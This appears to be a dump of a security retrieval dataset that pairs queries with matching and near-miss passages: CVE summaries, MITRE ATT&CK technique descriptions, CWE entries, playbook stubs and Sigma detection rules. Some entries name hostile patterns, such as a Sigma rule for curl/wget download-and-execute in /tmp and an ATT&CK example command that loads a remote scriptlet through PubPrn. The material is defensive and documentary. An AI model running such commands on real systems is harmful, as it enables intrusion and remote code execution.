alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: CVE similar to CVE-2015-5104
Matching passage: CVE-2015-5104. CWE: CWE-119. CVSS: 10.0. Adobe Reader and Acrobat 10.x before 10.1.15 and 11.x before 11.0.12, Acrobat and Acrobat Reader DC Classic before 2015.006.30060, and Acrobat and Acrobat Reader DC Continuous before 2015.008.20082 on Windows and OS X allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-3095, CVE-2015-5087, CVE-2015-5094, CVE-2015-5100, CVE-2015-5102, CVE-2015-5103, and CVE-2015-5115.
Near-miss passage: CVE-2015-8277. CWE: CWE-119. CVSS: 9.800000190734863. Multiple buffer overflows in (1) lmgrd and (2) Vendor Daemon in Flexera FlexNet Publisher before 11.13.1.2 Security Update 1 allow remote attackers to execute arbitrary code via a crafted packet with opcode (a) 0x107 or (b) 0x10a.
Query: exploit The OpenSSLX509Certificate class in org/conscrypt/OpenSSLX509Certificate.java in Android before 5.1.1 LMY48I improperly includes certain context data during serialization and deser
Matching passage: CVE-2015-3837. CWE: CWE-20. CVSS: 9.300000190734863. The OpenSSLX509Certificate class in org/conscrypt/OpenSSLX509Certificate.java in Android before 5.1.1 LMY48I improperly includes certain context data during serialization and deserialization, which allows attackers to execute arbitrary code via an application that sends a crafted Intent, aka internal bug 21437603.
Near-miss passage: CVE-2015-8229. CWE: CWE-20. CVSS: 4.0. Huawei eSpace U2980 unified gateway with software before V100R001C10 and U2990 with software before V200R001C10 allow remote authenticated users to cause a denial of service via crafted signaling packets from a registered device.
Query: write Sigma for Detects "svchost.exe" spawning "rundll32.exe" with command arguments like C:\windows\system32\davclnt.dll,DavSetCookie.
Matching passage: Sigma rule: Detects "svchost.exe" spawning "rundll32.exe" with command arguments like C:\windows\system32\davclnt.dll,DavSetCookie.. Logsource: windows / process_creation. Rule: title: Suspicious WebDav Client Execution Via Rundll32.EXE id: 982e9f2d-1a85-4d5b-aea4-31f5e97c6555 status: test description: 'Detects "svchost.exe" spawning "rundll32.exe" with command arguments like C:\windows\system32\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server) or potentially a sign of exploitation of CVE-2023-23397 ' references: - https://twitter.com/aceresponder/status/1636116096506818562 - https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/ - https://www.pwndefend.com/2023/03/15/the-long-game-persistent-hash-theft/ - https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/03/Figure-7-sample-webdav-process-create-event.png - https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/ author: Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems) date: 2023-03-16 modified: 2023-09-18 tags: - attack.exfiltration - attack.t1048.003 - cve.2023-23397 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \svchost.exe ParentCommandLine|contains: -s WebClient Image|endswith: \rundll32.exe CommandLine|contains: C:\windows\system32\davclnt.dll,DavSetCookie CommandLine|re: ://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3} filter_local_ips: CommandLine|contains: - ://10. - ://192.168. - ://172.16. - ://172.17. - ://172.18. - ://172.19. - ://172.20. - ://172.21. - ://172.22. - ://172.23. - ://172.24. - ://172.25. - ://172.26. - ://172.27. - ://172.28. - ://172.29. - ://172.30. - ://172.31. - ://127. - ://169.254. condition: selection and not 1 of filter_* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossibl. Logsource: m365 / threat_management. Rule: title: Microsoft 365 - Impossible Travel Activity id: d7eab125-5f94-43df-8710-795b80fa1189 status: test description: Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel. references: - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference author: Austin Songer @austinsonger date: 2020-07-06 modified: 2021-11-27 tags: - attack.privilege-escalation - attack.persistence - attack.initial-access - attack.stealth - attack.t1078 logsource: service: threat_management product: m365 detection: selection: eventSource: SecurityComplianceCenter eventName: Impossible travel activity status: success condition: selection falsepositives: - Unknown level: medium
Query: risk of Reviewer in EMC SourceOne Email Supervisor before 7.2 does not properly limit attempts to authenticate, which makes it easier for remote attackers to obtain access via a brute-forc
Matching passage: CVE-2015-6843. CWE: CWE-200. CVSS: 5.0. Reviewer in EMC SourceOne Email Supervisor before 7.2 does not properly limit attempts to authenticate, which makes it easier for remote attackers to obtain access via a brute-force approach.
Near-miss passage: CVE-2015-0527. CWE: CWE-200. CVSS: 2.0999999046325684. EMC Documentum xCelerated Management System (xMS) 1.1 before P14 stores cleartext Windows Service credentials in a batch file during Documentum Platform and xCelerated Composition Platform (xCP) provisioning, which allows local users to obtain sensitive information by reading a file.
Query: describe CVE-2015-4517
Matching passage: CVE-2015-4517. CWE: CWE-119. CVSS: 7.5. NetworkUtils.cpp in Mozilla Firefox before 41.0 and Firefox ESR 38.x before 38.3 might allow remote attackers to cause a denial of service (memory corruption and application crash) or possibly have unspecified other impact via unknown vectors.
Near-miss passage: CVE-2015-6686. CWE: CWE-119. CVSS: 6.800000190734863. Adobe Reader and Acrobat 10.x before 10.1.16 and 11.x before 11.0.13, Acrobat and Acrobat Reader DC Classic before 2015.006.30094, and Acrobat and Acrobat Reader DC Continuous before 2015.009.20069 on Windows and OS X allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted set of fields, a different vulnerability than CVE-2015-6685, CVE-2015-6693, CVE-2015-6694, CVE-2015-6695, and CVE-2015-7622.
Query: vulnerability: Stack-based buffer overflow in the isofs_real_readdir function in isofs.c in FuseISO 20070708 allows remote attackers to cause a denial of service (application crash) or possibly e
Matching passage: CVE-2015-8837. CWE: CWE-119. CVSS: 7.300000190734863. Stack-based buffer overflow in the isofs_real_readdir function in isofs.c in FuseISO 20070708 allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a long pathname in an ISO file.
Near-miss passage: CVE-2015-5121. CWE: CWE-119. CVSS: 10.0. Adobe Shockwave Player before 12.1.9.159 allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-5120.
Query: exploit Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Microsoft Edge Memory Corruption Vuln
Matching passage: CVE-2015-6168. CWE: CWE-119. CVSS: 9.300000190734863. Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Microsoft Edge Memory Corruption Vulnerability," a different vulnerability than CVE-2015-6153.
Near-miss passage: CVE-2015-7626. CWE: CWE-119. CVSS: 10.0. Adobe Flash Player before 18.0.0.252 and 19.x before 19.0.0.207 on Windows and OS X and before 11.2.202.535 on Linux, Adobe AIR before 19.0.0.213, Adobe AIR SDK before 19.0.0.213, and Adobe AIR SDK & Compiler before 19.0.0.213 allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-7625, CVE-2015-7627, CVE-2015-7630, CVE-2015-7633, and CVE-2015-7634.
Query: threat report mentioning Data from Cloud Storage
Matching passage: T1530 Data from Cloud Storage. Tactics: collection. Description: Adversaries may access data from cloud storage. Many IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. In some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). Adversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions. This open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(
Near-miss passage: T1115 Clipboard Data. Tactics: collection. Description: Adversaries may collect data stored in the clipboard from users copying information within or between applications. For example, on Windows adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs) macOS and Linux also have commands, such as <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with EmPyre)
Query: detection rule: Detects AWS Config Service disabling
Matching passage: Sigma rule: Detects AWS Config Service disabling. Logsource: aws / cloudtrail. Rule: title: AWS Config Disabling Channel/Recorder id: 07330162-dba1-4746-8121-a9647d49d297 status: test description: Detects AWS Config Service disabling references: - https://docs.aws.amazon.com/config/latest/developerguide/cloudtrail-log-files-for-aws-config.html author: vitaliy0x1 date: 2020-01-21 modified: 2022-10-09 tags: - attack.defense-impairment - attack.t1685.002 logsource: product: aws service: cloudtrail detection: selection: eventSource: config.amazonaws.com eventName: - DeleteDeliveryChannel - StopConfigurationRecorder condition: selection falsepositives: - Valid change in AWS Config Service level: high
Near-miss passage: Sigma rule: Detects suspicious use of command-line tools such as curl or wget to download remote content - particularly scripts - in. Logsource: linux / process_creation. Rule: title: Suspicious Download and Execute Pattern via Curl/Wget id: a2d9e2f3-0f43-4c7a-bcd9-9acfc0d723aa status: experimental description: 'Detects suspicious use of command-line tools such as curl or wget to download remote content - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by immediate execution, indicating potential malicious activity. This pattern is commonly used by malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks. ' references: - https://gtfobins.github.io/gtfobins/wget/ - https://gtfobins.github.io/gtfobins/curl/ author: Aayush Gupta date: 2025-06-17 tags: - attack.execution - attack.t1059.004 - attack.t1203 logsource: category: process_creation product: linux detection: selection_downloader: CommandLine|contains: - /curl - /wget selection_tmp: CommandLine|contains: - /tmp/ - /dev/shm/ selection_executor: CommandLine|contains: sh -c condition: all of selection_* falsepositives: - System update scripts using temporary files - Installer scripts or automated provisioning tools level: high
Query: detection engineering for Software Discovery
Matching passage: T1518 Software Discovery. Tactics: discovery. Description: Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Such software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally. Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).
Near-miss passage: T1518.002 Backup Software Discovery. Tactics: discovery. Description: Adversaries may attempt to get a listing of backup software or configurations that are installed on a system. Adversaries may use this information to shape follow-on behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486). Commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), `reg query` with [Reg](https://attack.mitre.org/software/S0075), `dir` with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for, such as Veeam, Acronis, Dropbox, or Paragon.(Citation: Symantec Play Ransomware 2023)
Query: Lateral movement indicators for RC Scripts
Matching passage: T1037.004 RC Scripts. Tactics: persistence, privilege escalation. Description: Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. Adversaries may establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence. Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022) Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
Near-miss passage: T1037.003 Network Logon Script. Tactics: persistence, privilege escalation. Description: Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
Query: patch priority for CVE-2015-2002
Matching passage: CVE-2015-2002. CWE: CWE-118. CVSS: 9.800000190734863. The ESRI ArcGis Runtime SDK before 10.2.6-2 for Android might allow attackers to execute arbitrary code by leveraging a finalize method in a Serializable class that improperly passes an attacker-controlled pointer to a native function.
Near-miss passage: CVE-2015-2000. CWE: CWE-118. CVSS: 9.800000190734863. The Jumio SDK before 1.5.0 for Android might allow attackers to execute arbitrary code by leveraging a finalize method in a Serializable class that improperly passes an attacker-controlled pointer to a native function.
Query: incident response steps for SIEM correlation: stealth activity consistent with Run Virtual Instance
Matching passage: Playbook for T1564.006 Run Virtual Instance. 1) Validate alert telemetry against T1564.006. 2) Scope affected hosts and accounts. 3) Contain by isolating endpoint / disabling account if confirmed. 4) Hunt for related tactics: stealth. 5) Eradicate persistence and recover. Reference detection notes: Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the vi
Near-miss passage: Playbook for T1564.010 Process Argument Spoofing. Different response path focused on stealth.
Query: explain CWE-487
Matching passage: CWE-487 Reliance on Package-level Scope. Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.
Near-miss passage: CWE-196 Unsigned to Signed Conversion Error. The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.
Query: hunt for Selective Exclusion activity
Matching passage: T1679 Selective Exclusion. Tactics: stealth. Description: Adversaries may intentionally exclude certain files, folders, directories, file types, or system components from encryption or tampering during a ransomware or malicious payload execution. Some file extensions that adversaries may avoid encrypting include `.dll`, `.exe`, and `.lnk`.(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024) Adversaries may perform this behavior to avoid alerting users, to evade detection by security tools and analysts, or, in the case of ransomware, to ensure that the system remains operational enough to deliver the ransom notice. Exclusions may target files and components whose corruption would cause instability, break core services, or immediately expose the attack. By carefully avoiding these areas, adversaries maintain system responsiveness while minimizing indicators that could trigger alarms or otherwise inhibit achieving their goals.
Near-miss passage: T1216.001 PubPrn. Tactics: stealth. Description: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
Query: CVE similar to CVE-2015-9238
Matching passage: CVE-2015-9238. CWE: CWE-697. CVSS: 5.300000190734863. secure-compare 3.0.0 and below do not actually compare two strings properly. compare was actually comparing the first argument with itself, meaning the check passed for any two strings of the same length.
Near-miss passage: CVE-2015-10129. CWE: CWE-697. CVSS: 5.900000095367432. A vulnerability was found in planet-freo up to 20150116 and classified as problematic. Affected by this issue is some unknown functionality of the file admin/inc/auth.inc.php. The manipulation of the argument auth leads to incorrect comparison. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The name of the patch is 6ad38c58a45642eb8c7844e2f272ef199f59550d. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-252716.